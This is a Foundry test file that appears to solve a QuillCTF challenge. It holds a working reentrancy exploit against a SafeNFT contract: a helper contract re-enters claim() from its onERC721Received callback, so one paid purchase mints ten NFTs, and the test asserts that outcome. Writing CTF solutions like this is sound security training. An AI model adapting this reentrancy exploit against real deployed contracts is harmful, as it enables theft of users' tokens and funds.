SafeNFTExploit.t.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/QuillCTF/SafeNFT.sol';
import {IERC721Receiver} from '@openzeppelin-08/token/ERC721/IERC721Receiver.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';

contract Helper is IERC721Receiver {
  SafeNFT target;
  uint256 numberOfNFTsToClaimAtOnce;
  uint256 counter;

  constructor(address _target, uint256 _numberOfNFTsToClaimAtOnce) {
    target = SafeNFT(_target);
    numberOfNFTsToClaimAtOnce = _numberOfNFTsToClaimAtOnce;
  }

  function buyAndClaimNFT() public payable {
    target.buyNFT{value: msg.value}();
    target.claim();
  }

  function onERC721Received(
    address,
    address,
    uint256,
    bytes calldata
  ) external override returns (bytes4) {
    // Claim `numberOfNFTsToClaimAtOnce` NFTs
    counter++;
    if (counter < numberOfNFTsToClaimAtOnce) {
      target.claim();
    }

    return IERC721Receiver.onERC721Received.selector;
  }
}

contract SafeNFTExploit is Test {
  SafeNFT target;
  address deployer = makeAddr('deployer');
  address exploiter = makeAddr('exploiter');
  uint256 price = 0.01 ether;

  function setUp() public {
    vm.startPrank(deployer);
    target = new SafeNFT('CryptoUnicorns', 'CU', price);
    console.log('Target contract deployed');
    vm.stopPrank();

    vm.deal(exploiter, 10 ether);
  }

  function testExploit() public {
    vm.startPrank(exploiter);
    console.log('Helper contract deployed');
    uint256 numberOfNFTsToClaimAtOnce = 10;
    Helper helper = new Helper(address(target), numberOfNFTsToClaimAtOnce);
    console.log('Balance: %d NFTs', target.balanceOf(address(helper)));
    assertEq(target.balanceOf(address(helper)), 0);

    console.log('Run the exploit');
    helper.buyAndClaimNFT{value: price}();
    console.log('Balance: %d NFTs', target.balanceOf(address(helper)));
    assertEq(target.balanceOf(address(helper)), numberOfNFTsToClaimAtOnce);
    vm.stopPrank();
  }
}